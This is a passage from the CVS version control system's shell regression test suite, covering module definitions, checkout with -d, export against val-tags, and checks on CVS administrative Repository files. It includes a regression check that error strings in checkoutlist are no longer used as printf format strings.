modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: [0-9.]*; previous revision: [0-9.]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t # Here's where CVS would report not being able to find `lename'\n\t cd ..\n\t dotest_fail modules6-1 \"${testcvs} -q co badname\" \\\n\"${PROG} checkout: warning: NULL value for key .badname. at line 2 of .${CVSROOT_DIRNAME}/CVSROOT/modules.\n${PROG} checkout: cannot find module .badname. - ignored\" \\\n\"${PROG} server: warning: NULL value for key .badname. at line 2 of .${CVSROOT_DIRNAME}/CVSROOT/modules.\n${PROG} server: cannot find module .badname. - ignored\n${PROG} \\[checkout aborted\\]: cannot expand modules\"\n\n\t # cleanup\n\t cd CVSROOT\n\t echo \"# empty modules file\" >modules\n\t dotest modules6-cleanup-1 \"${testcvs} -Q ci -mempty-modules\" \\\n\"Checking in modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: [0-9.]*; previous revision: [0-9.]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\n\t if $keep; then :; else\n\t rm -r modules6\n\t fi\n\t ;;\n\n\n\n\tmodules7)\n\t #\n\t # Test tag problems vs an empty CVSROOT/val-tags file\n\t #\n\t # See the header comment for the `modules' test for an index of\n\t # the complete suite of modules tests.\n\t #\n\t mkdir modules7\n\t cd modules7\n\t dotest modules7-1 \"$testcvs -Q co -d top .\"\n\t cd top\n\t mkdir zero one\n\t dotest modules7-2 \"$testcvs -Q add zero one\"\n\t cd one\n\t echo 'file1 contents' > file1\n\t dotest modules7-2 \"$testcvs -Q add file1\"\n\t dotest modules7-3 \"$testcvs -Q ci -mnew file1\" \\\n\"RCS file: $CVSROOT_DIRNAME/one/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/one/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t dotest modules7-4 \"$testcvs -Q tag mytag file1\"\n\t cd ../CVSROOT\n\t echo 'all -a zero one' > modules\n\t dotest modules7-5 \"$testcvs -Q ci -mall-module\" \\\n\"Checking in modules;\n$CVSROOT_DIRNAME/CVSROOT/modules,v <-- modules\nnew revision: [0-9.]*; previous revision: [0-9.]*\ndone\n$PROG commit: Rebuilding administrative file database\"\n\t cd ../..\n\t mkdir myexport\n\t cd myexport\n\t # FIXCVS: The export should NOT be aborted here\n\t dotest_fail modules7-6 \"$testcvs export -rmytag all\" \\\n\"$PROG \\[export aborted\\]: no such tag mytag\"\n\t cd ..\n\t rm -fr myexport\n\t mkdir myexport\n\t cd myexport\n\t # FIXCVS: Workaround is to have mytag listed in val-tags\n\t echo 'mytag y' > $CVSROOT_DIRNAME/CVSROOT/val-tags\n\t dotest modules7-7 \"$testcvs export -rmytag all\" \\\n\"$PROG export: Updating zero\n$PROG export: Updating one\nU one/file1\"\n\t dotest modules7-8 'cat one/file1' 'file1 contents'\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t # cleanup\n\t cd ../top/CVSROOT\n\t echo \"# empty modules file\" >modules\n\t dotest modules7-cleanup-1 \"$testcvs -Q ci -mempty-modules\" \\\n\"Checking in modules;\n$CVSROOT_DIRNAME/CVSROOT/modules,v <-- modules\nnew revision: [0-9.]*; previous revision: [0-9.]*\ndone\n$PROG commit: Rebuilding administrative file database\"\n\t cd ../../..\n\t rm -fr modules7\n\t rm -rf $CVSROOT_DIRNAME/zero $CVSROOT_DIRNAME/one\n\t ;;\n\n\n\tmkmodules)\n\t # When a file listed in checkoutlist doesn't exist, cvs-1.10.4\n\t # would fail to remove the CVSROOT/.#[0-9]* temporary file it\n\t # creates while mkmodules is in the process of trying to check\n\t # out the missing file.\n\n\t mkdir 1; cd 1\n\t dotest mkmodules-temp-file-removal-1 \"${testcvs} -Q co CVSROOT\" ''\n\t cd CVSROOT\n\t echo no-such-file >> checkoutlist\n\t dotest mkmodules-temp-file-removal-2 \"${testcvs} -Q ci -m. checkoutlist\" \\\n\"Checking in checkoutlist;\n$CVSROOT_DIRNAME/CVSROOT/checkoutlist,v <-- checkoutlist\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t dotest mkmodules-temp-file-removal-3 \"echo $CVSROOT_DIRNAME/CVSROOT/.#[0-9]*\" \\\n\t \"$CVSROOT_DIRNAME/CVSROOT/\\.#\\[0-9\\]\\*\"\n\n\t # Versions 1.11.6 & 1.12.1 and earlier of CVS printed most of the\n\t # white space included before error messages in checkoutlist.\n\t echo \"no-such-file Failed to update no-such-file.\" >checkoutlist\n\t dotest mkmodules-error-message-1 \"${testcvs} -Q ci -m. checkoutlist\" \\\n\"Checking in checkoutlist;\n$CVSROOT_DIRNAME/CVSROOT/checkoutlist,v <-- checkoutlist\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\n${PROG} commit: Rebuilding administrative file database\n${PROG} commit: Failed to update no-such-file\\.\"\n\n\t # Versions 1.11.6 & 1.12.1 and earlier of CVS used the error string\n\t # from the checkoutlist file as the format string passed to error()'s\n\t # printf. Check that this is no longer the case by verifying that\n\t # printf format patterns remain unchanged.\n\t echo \"no-such-file Failed to update %s %lx times because %s happened %d times.\" >checkoutlist\n\t dotest mkmodules-error-message-2 \"${testcvs} -Q ci -m. checkoutlist\" \\\n\"Checking in checkoutlist;\n$CVSROOT_DIRNAME/CVSROOT/checkoutlist,v <-- checkoutlist\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\n${PROG} commit: Rebuilding administrative file database\n${PROG} commit: Failed to update %s %lx times because %s happened %d times\\.\"\n\n\t dotest mkmodules-cleanup-1 \"${testcvs} -Q up -pr1.1 checkoutlist >checkoutlist\"\n\t dotest mkmodules-cleanup-2 \"${testcvs} -Q ci -m. checkoutlist\" \\\n\"Checking in checkoutlist;\n$CVSROOT_DIRNAME/CVSROOT/checkoutlist,v <-- checkoutlist\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ../..\n\t rm -rf 1\n\t ;;\n\n\tco-d)\n\t # Some tests of various permutations of co-d when directories exist\n\t # and checkouts lengthen.\n\t #\n\t # Interestingly enough, these same tests pass when the directory\n\t # lengthening happens via the modules file. Go figure.\n\t module=co-d\n\t mkdir $module; cd $module\n\t mkdir top; cd top\n\t dotest co-d-init-1 \"$testcvs -Q co -l .\"\n\t mkdir $module\n\t dotest co-d-init-2 \"$testcvs -Q add $module\"\n\t cd $module\n\t echo content >file1\n\t echo different content >file2\n\t dotest co-d-init-3 \"$testcvs -Q add file1 file2\"\n\t dotest co-d-init-4 \"$testcvs -Q ci -madd-em\" \\\n\"RCS file: $CVSROOT_DIRNAME/co-d/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/co-d/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: $CVSROOT_DIRNAME/co-d/file2,v\ndone\nChecking in file2;\n$CVSROOT_DIRNAME/co-d/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t cd ../..\n\n\t mkdir 2; cd 2\n\t dotest co-d-1 \"$testcvs -q co -d dir $module\" \\\n\"U dir/file1\nU dir/file2\"\n\t dotest co-d-1.2 \"cat dir/CVS/Repository\" \"$module\"\n\n\t # FIXCVS: This should work. Correct expected result:\n\t #\n\t #\"U dir2/sdir/file1\n\t #U dir2/sdir/file2\"\n\t dotest_fail co-d-2 \"$testcvs -q co -d dir2/sdir $module\" \\\n\"$PROG \\[checkout aborted\\]: could not change directory to requested checkout directory \\`dir2': No such file or directory\"\n\t # FIXCVS:\n\t # dotest co-d-2.2 \"cat dir4/CVS/Repository\" \"CVSROOT/Emptydir\"\n\t # dotest co-d-2.3 \"cat dir5/CVS/Repository\" \"$module\"\n\n\t mkdir dir3\n\t dotest co-d-3 \"$testcvs -q co -d dir3 $module\" \\\n\"U dir3/file1\nU dir3/file2\"\n\t dotest co-d-3.2 \"cat dir3/CVS/Repository\" \"$module\"\n\n\t if $remote; then\n\t # FIXCVS: As for co-d-2.\n\t mkdir dir4\n\t dotest_fail co-d-4r \"$testcvs -q co -d dir4/sdir $module\" \\\n\"$PROG \\[checkout aborted\\]: could not change directory to requested checkout directory \\`dir4': No such file or directory\"\n\n\t # FIXCVS: As for co-d-2.\n\t mkdir dir5\n\t mkdir dir5/sdir\n\t dotest_fail co-d-5r \"$testcvs -q co -d dir5/sdir $module\" \\\n\"$PROG \\[checkout aborted\\]: could not change directory to requested checkout directory \\`dir5': No such file or directory\"\n\t else\n\t mkdir dir4\n\t dotest co-d-4 \"$testcvs -q co -d dir4/sdir $module\" \\\n\"U dir4/sdir/file1\nU dir4/sdir/file2\"\n\t # CVS only creates administration directories for directories it\n\t # creates, and the last portion of the path passed to -d\n\t # regardless.\n\t dotest_fail co-d-4.2 \"test -d dir4/CVS\"\n\t dotest co-d-4.3 \"cat dir4/sdir/CVS/Repository\" \"$module\"\n\n\t mkdir dir5\n\t mkdir dir5/sdir\n\t dotest co-d-5 \"$testcvs -q co -d dir5/sdir $module\" \\\n\"U dir5/sdir/file1\nU dir5/sdir/file2\"\n\t # CVS only creates administration directories for directories it\n\t # creates, and the last portion of the path passed to -d\n\t # regardless.\n\t dotest_fail co-d-5.2 \"test -d dir5/CVS\"\n\t dotest co-d-5.3 \"cat dir5/sdir/CVS/Repository\" \"$module\"\n\t fi\n\n\t # clean up\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -rf $CVSROOT_DIRNAME/$module\n\t rm -r $module\n\t ;;\n\n\tcvsadm)\n\t # These test check the content of CVS' administrative\n\t # files as they are checked out in various configurations.\n\t # (As a side note, I'm not using the \"-q\" flag in any of\n\t # this code, which should provide some extra checking for\n # those messages which don't seem to be checked thoroughly\n\t # anywhere else.) To do a thorough test, we need to make\n\t # a bunch of modules in various configurations.\n\t #\n\t # <1mod> is a directory at the top level of cvsroot\n\t # ``foo bar''\n\t # <2mod> is a directory at the second level of cvsroot\n\t # ``foo bar/baz''\n\t # <1d1mod> is a directory at the top level which is\n\t # checked out into another directory\n\t # ``foo -d bar baz''\n\t # <1d2mod> is a directory at the second level which is\n\t # checked out into another directory\n\t # ``foo -d bar baz/quux''\n\t # <2d1mod> is a directory at the top level which is\n\t # checked out into a directory that is two deep\n\t # ``foo -d bar/baz quux''\n\t # <2d2mod> is a directory at the second level which is\n\t # checked out into a directory that is two deep\n\t # ``foo -d bar/baz quux''\n\t #\n\t # The tests do each of these types separately and in twos.\n\t # We also repeat each test -d flag for 1-deep and 2-deep\n\t # directories.\n\t #\n\t # Each test should check the output for the Repository\n\t # file, since that is the one which varies depending on \n\t # the directory and how it was checked out.\n\t #\n\t # Yes, this is verbose, but at least it's very thorough.\n\n\t # convenience variables\n\t REP=${CVSROOT}\n\n\t # First, set TopLevelAdmin=yes so we're sure to get\n\t # top-level CVS directories.\n\t mkdir 1; cd 1\n\t dotest cvsadm-setup-1 \"${testcvs} -q co CVSROOT/config\" \\\n\"U CVSROOT/config\"\n\t cd CVSROOT\n\t echo \"TopLevelAdmin=yes\" >config\n\t dotest cvsadm-setup-2 \"${testcvs} -q ci -m yes-top-level\" \\\n\"Checking in config;\n${CVSROOT_DIRNAME}/CVSROOT/config,v <-- config\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -r 1\n\n\t # Second, check out the modules file and edit it.\n\t mkdir 1; cd 1\n\t dotest cvsadm-1 \"${testcvs} co CVSROOT/modules\" \\\n\"U CVSROOT/modules\"\n\n\t # Test CVS/Root once. Since there is only one part of\n\t # the code which writes CVS/Root files (Create_Admin),\n\t # there is no point in testing this every time.\n\t dotest cvsadm-1a \"cat CVS/Root\" ${REP}\n\t dotest cvsadm-1b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-1c \"cat CVSROOT/CVS/Root\" ${REP}\n\t dotest cvsadm-1d \"cat CVSROOT/CVS/Repository\" \"CVSROOT\"\n # All of the defined module names begin with a number.\n\t # All of the top-level directory names begin with \"dir\".\n\t # All of the subdirectory names begin with \"sub\".\n\t # All of the top-level modules begin with \"mod\".\n\t echo \"# Module defs for cvsadm tests\" > CVSROOT/modules\n\t echo \"1mod mod1\" >> CVSROOT/modules\n\t echo \"1mod-2 mod1-2\" >> CVSROOT/modules\n\t echo \"2mod mod2/sub2\" >> CVSROOT/modules\n\t echo \"2mod-2 mod2-2/sub2-2\" >> CVSROOT/modules\n\t echo \"1d1mod -d dir1d1 mod1\" >> CVSROOT/modules\n\t echo \"1d1mod-2 -d dir1d1-2 mod1-2\" >> CVSROOT/modules\n\t echo \"1d2mod -d dir1d2 mod2/sub2\" >> CVSROOT/modules\n\t echo \"1d2mod-2 -d dir1d2-2 mod2-2/sub2-2\" >> CVSROOT/modules\n\t echo \"2d1mod -d dir2d1/sub2d1 mod1\" >> CVSROOT/modules\n\t echo \"2d1mod-2 -d dir2d1-2/sub2d1-2 mod1-2\" >> CVSROOT/modules\n\t echo \"2d2mod -d dir2d2/sub2d2 mod2/sub2\" >> CVSROOT/modules\n\t echo \"2d2mod-2 -d dir2d2-2/sub2d2-2 mod2-2/sub2-2\" >> CVSROOT/modules\n\t dotest cvsadm-1e \"${testcvs} ci -m add-modules\" \\\n\"${PROG} [a-z]*: Examining .\n${PROG} [a-z]*: Examining CVSROOT\nChecking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\" \\\n\"${PROG} commit: Examining .\n${PROG} commit: Examining CVSROOT\"\n\t rm -rf CVS CVSROOT;\n\n\t # Create the various modules\n\t dotest cvsadm-2 \"${testcvs} -q co -l .\" ''\n\t mkdir mod1\n\t mkdir mod1-2\n\t mkdir mod2\n\t mkdir mod2/sub2\n\t mkdir mod2-2\n\t mkdir mod2-2/sub2-2\n\t dotest cvsadm-2a \"${testcvs} add mod1 mod1-2 mod2 mod2/sub2 mod2-2 mod2-2/sub2-2\" \\\n\"Directory ${CVSROOT_DIRNAME}/mod1 added to the repository\nDirectory ${CVSROOT_DIRNAME}/mod1-2 added to the repository\nDirectory ${CVSROOT_DIRNAME}/mod2 added to the repository\nDirectory ${CVSROOT_DIRNAME}/mod2/sub2 added to the repository\nDirectory ${CVSROOT_DIRNAME}/mod2-2 added to the repository\nDirectory ${CVSROOT_DIRNAME}/mod2-2/sub2-2 added to the repository\"\n\n\t # Populate the directories for the halibut\n\t echo \"file1\" > mod1/file1\n\t echo \"file1-2\" > mod1-2/file1-2\n\t echo \"file2\" > mod2/sub2/file2\n\t echo \"file2-2\" > mod2-2/sub2-2/file2-2\n\t dotest cvsadm-2aa \"${testcvs} add mod1/file1 mod1-2/file1-2 mod2/sub2/file2 mod2-2/sub2-2/file2-2\" \\\n\"${PROG} add: scheduling file .mod1/file1. for addition\n${PROG} add: scheduling file .mod1-2/file1-2. for addition\n${PROG} add: scheduling file .mod2/sub2/file2. for addition\n${PROG} add: scheduling file .mod2-2/sub2-2/file2-2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\n\t dotest cvsadm-2b \"${testcvs} ci -m yup mod1 mod1-2 mod2 mod2-2\" \\\n\"${PROG} [a-z]*: Examining mod1\n${PROG} [a-z]*: Examining mod1-2\n${PROG} [a-z]*: Examining mod2\n${PROG} [a-z]*: Examining mod2/sub2\n${PROG} [a-z]*: Examining mod2-2\n${PROG} [a-z]*: Examining mod2-2/sub2-2\nRCS file: ${CVSROOT_DIRNAME}/mod1/file1,v\ndone\nChecking in mod1/file1;\n${CVSROOT_DIRNAME}/mod1/file1,v <-- file1\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/mod1-2/file1-2,v\ndone\nChecking in mod1-2/file1-2;\n${CVSROOT_DIRNAME}/mod1-2/file1-2,v <-- file1-2\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/mod2/sub2/file2,v\ndone\nChecking in mod2/sub2/file2;\n${CVSROOT_DIRNAME}/mod2/sub2/file2,v <-- file2\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/mod2-2/sub2-2/file2-2,v\ndone\nChecking in mod2-2/sub2-2/file2-2;\n${CVSROOT_DIRNAME}/mod2-2/sub2-2/file2-2,v <-- file2-2\ninitial revision: 1.1\ndone\"\n\t # Finished creating the modules -- clean up.\n\t rm -rf CVS mod1 mod1-2 mod2 mod2-2\n\t # Done.\n\n\t ##################################################\n\t ## Start the dizzying array of possibilities.\n\t ## Begin with each module type separately.\n\t ##################################################\n\t \n\t # Pattern -- after each checkout, first check the top-level\n\t # CVS directory. Then, check the directories in numerical\n\t # order.\n\n\t dotest cvsadm-3 \"${testcvs} co 1mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\"\n\t dotest cvsadm-3b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-3d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 1mod\n\n\t dotest cvsadm-4 \"${testcvs} co 2mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\"\n\t dotest cvsadm-4b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-4d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 2mod\n\n\t dotest cvsadm-5 \"${testcvs} co 1d1mod\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\"\n\t dotest cvsadm-5b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-5d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir1d1\n\n\t dotest cvsadm-6 \"${testcvs} co 1d2mod\" \\\n\"${PROG} checkout: Updating dir1d2\nU dir1d2/file2\"\n\t dotest cvsadm-6b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-6d \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir1d2\n\n\t dotest cvsadm-7 \"${testcvs} co 2d1mod\" \\\n\"${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t dotest cvsadm-7b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-7d \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-7f \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir2d1\n\n\t dotest cvsadm-8 \"${testcvs} co 2d2mod\" \\\n\"${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t dotest cvsadm-8b \"cat CVS/Repository\" \"\\.\"\n\t dotest cvsadm-8d \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-8f \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir2d2\n\n\t ##################################################\n\t ## You are in a shell script of twisted little\n\t ## module combination statements, all alike.\n\t ##################################################\n\n\t ### 1mod\n\t \n\t dotest cvsadm-9 \"${testcvs} co 1mod 1mod-2\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating 1mod-2\nU 1mod-2/file1-2\"\n\t # the usual for the top level\n\t dotest cvsadm-9b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-9d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1mod copy\n\t dotest cvsadm-9f \"cat 1mod-2/CVS/Repository\" \"mod1-2\"\n\t rm -rf CVS 1mod 1mod-2\n\n\t # 1mod 2mod redmod bluemod\n\t dotest cvsadm-10 \"${testcvs} co 1mod 2mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating 2mod\nU 2mod/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-10b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-10d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2dmod\n\t dotest cvsadm-10f \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 1mod 2mod\n\n\t dotest cvsadm-11 \"${testcvs} co 1mod 1d1mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating dir1d1\nU dir1d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-11b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-11d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-11f \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 1mod dir1d1\n\n\t dotest cvsadm-12 \"${testcvs} co 1mod 1d2mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating dir1d2\nU dir1d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-12b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-12d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-12f \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 1mod dir1d2\n\n\t dotest cvsadm-13 \"${testcvs} co 1mod 2d1mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-13b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-13d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-13f \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-13h \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 1mod dir2d1\n\n\t dotest cvsadm-14 \"${testcvs} co 1mod 2d2mod\" \\\n\"${PROG} checkout: Updating 1mod\nU 1mod/file1\n${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-14b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1mod\n\t dotest cvsadm-14d \"cat 1mod/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-14f \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-14h \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 1mod dir2d2\n\n\n\t ### 2mod\n\t \n\t dotest cvsadm-15 \"${testcvs} co 2mod 2mod-2\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\n${PROG} checkout: Updating 2mod-2\nU 2mod-2/file2-2\"\n\t # the usual for the top level\n\t dotest cvsadm-15b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2mod\n\t dotest cvsadm-15d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2mod copy\n\t dotest cvsadm-15f \"cat 2mod-2/CVS/Repository\" \"mod2-2/sub2-2\"\n\t rm -rf CVS 2mod 2mod-2\n\n\n\t dotest cvsadm-16 \"${testcvs} co 2mod 1d1mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\n${PROG} checkout: Updating dir1d1\nU dir1d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-16b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2mod\n\t dotest cvsadm-16d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-16f \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 2mod dir1d1\n\n\t dotest cvsadm-17 \"${testcvs} co 2mod 1d2mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\n${PROG} checkout: Updating dir1d2\nU dir1d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-17b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2mod\n\t dotest cvsadm-17d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-17f \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 2mod dir1d2\n\n\t dotest cvsadm-18 \"${testcvs} co 2mod 2d1mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\n${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-18b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2mod\n\t dotest cvsadm-18d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-18f \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-18h \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS 2mod dir2d1\n\n\t dotest cvsadm-19 \"${testcvs} co 2mod 2d2mod\" \\\n\"${PROG} checkout: Updating 2mod\nU 2mod/file2\n${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-19b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 2mod\n\t dotest cvsadm-19d \"cat 2mod/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-19f \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-19h \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS 2mod dir2d2\n\n\n\t ### 1d1mod\n\n\t dotest cvsadm-20 \"${testcvs} co 1d1mod 1d1mod-2\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\n${PROG} checkout: Updating dir1d1-2\nU dir1d1-2/file1-2\"\n\t # the usual for the top level\n\t dotest cvsadm-20b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-20d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 1d1mod copy\n\t dotest cvsadm-20f \"cat dir1d1-2/CVS/Repository\" \"mod1-2\"\n\t rm -rf CVS dir1d1 dir1d1-2\n\n\t dotest cvsadm-21 \"${testcvs} co 1d1mod 1d2mod\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\n${PROG} checkout: Updating dir1d2\nU dir1d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-21b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-21d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-21f \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir1d1 dir1d2\n\n\t dotest cvsadm-22 \"${testcvs} co 1d1mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\n${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-22b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-22d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-22f \"cat dir2d1/CVS/Repository\" \"\\.\"\n\t dotest cvsadm-22h \"cat dir2d1/sub2d1/CVS/Repository\" \"mod1\"\n\t rm -rf CVS dir1d1 dir2d1\n\n\t dotest cvsadm-23 \"${testcvs} co 1d1mod 2d2mod\" \\\n\"${PROG} checkout: Updating dir1d1\nU dir1d1/file1\n${PROG} checkout: Updating dir2d2/sub2d2\nU dir2d2/sub2d2/file2\"\n\t # the usual for the top level\n\t dotest cvsadm-23b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d1mod\n\t dotest cvsadm-23d \"cat dir1d1/CVS/Repository\" \"mod1\"\n\t # the usual for 2d2mod\n\t dotest cvsadm-23f \"cat dir2d2/CVS/Repository\" \"mod2\"\n\t dotest cvsadm-23h \"cat dir2d2/sub2d2/CVS/Repository\" \"mod2/sub2\"\n\t rm -rf CVS dir1d1 dir2d2\n\n\n\t ### 1d2mod\n\n\t dotest cvsadm-24 \"${testcvs} co 1d2mod 1d2mod-2\" \\\n\"${PROG} checkout: Updating dir1d2\nU dir1d2/file2\n${PROG} checkout: Updating dir1d2-2\nU dir1d2-2/file2-2\"\n\t # the usual for the top level\n\t dotest cvsadm-24b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-24d \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 1d2mod copy\n\t dotest cvsadm-24f \"cat dir1d2-2/CVS/Repository\" \"mod2-2/sub2-2\"\n\t rm -rf CVS dir1d2 dir1d2-2\n\n\t dotest cvsadm-25 \"${testcvs} co 1d2mod 2d1mod\" \\\n\"${PROG} checkout: Updating dir1d2\nU dir1d2/file2\n${PROG} checkout: Updating dir2d1/sub2d1\nU dir2d1/sub2d1/file1\"\n\t # the usual for the top level\n\t dotest cvsadm-25b \"cat CVS/Repository\" \"\\.\"\n\t # the usual for 1d2mod\n\t dotest cvsadm-25d \"cat dir1d2/CVS/Repository\" \"mod2/sub2\"\n\t # the usual for 2d1mod\n\t dotest cvsadm-25f \"cat 